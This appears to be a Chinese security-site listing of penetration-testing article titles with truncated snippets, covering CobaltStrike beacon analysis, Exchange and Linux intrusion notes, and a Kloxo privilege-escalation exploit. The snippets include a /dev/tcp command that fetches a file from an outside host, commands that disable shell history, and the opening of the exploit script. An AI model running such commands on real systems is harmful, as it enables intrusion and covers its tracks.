作者:长相安原文地址:https://xz.aliyun.com/t/11138之前项目的某个站点,现在差不多尘埃落定,大致流程觉得还是可以分享一下的。过程初期拿到手大概是这个情况(厚码保命,相信师傅...
对某站点的一次详尽渗透记录
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后...
CobaltStrike逆向学习系列(2)-Stageless Beacon 生成流程分析
CobaltStrike 的 Beacon 生成分为两种,Stage Beacon 和 Stageless Beacon,这次主要来说明的是无阶段的 Stageless Beacon,最终文件比较大,...
内网学习笔记 | 25、Exchange 邮件服务器
1、Exchange 的基本操作在 Exchange 服务器上的 PowerShell 里进行以下操作将 Exchange 管理单元添加到当前会话中add-pssnapin microsoft.exc...
Linux常用渗透小技巧
1.无wget nc等下载工具时下载文件 exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.p...
Linux 入侵检测技巧知识
1. 登录ssh之后不记录history unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/...
linux内网渗透笔记
by:[email protected] blog:blog.securitycn.net 用nst的反弹后门连上nc后不能su交互,报错如下: standard in mu...
Kloxo 6.1.6 - Local Privilege Escalation
LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3` export MUID=$LXLABS export GID=$LXLABS export T...
7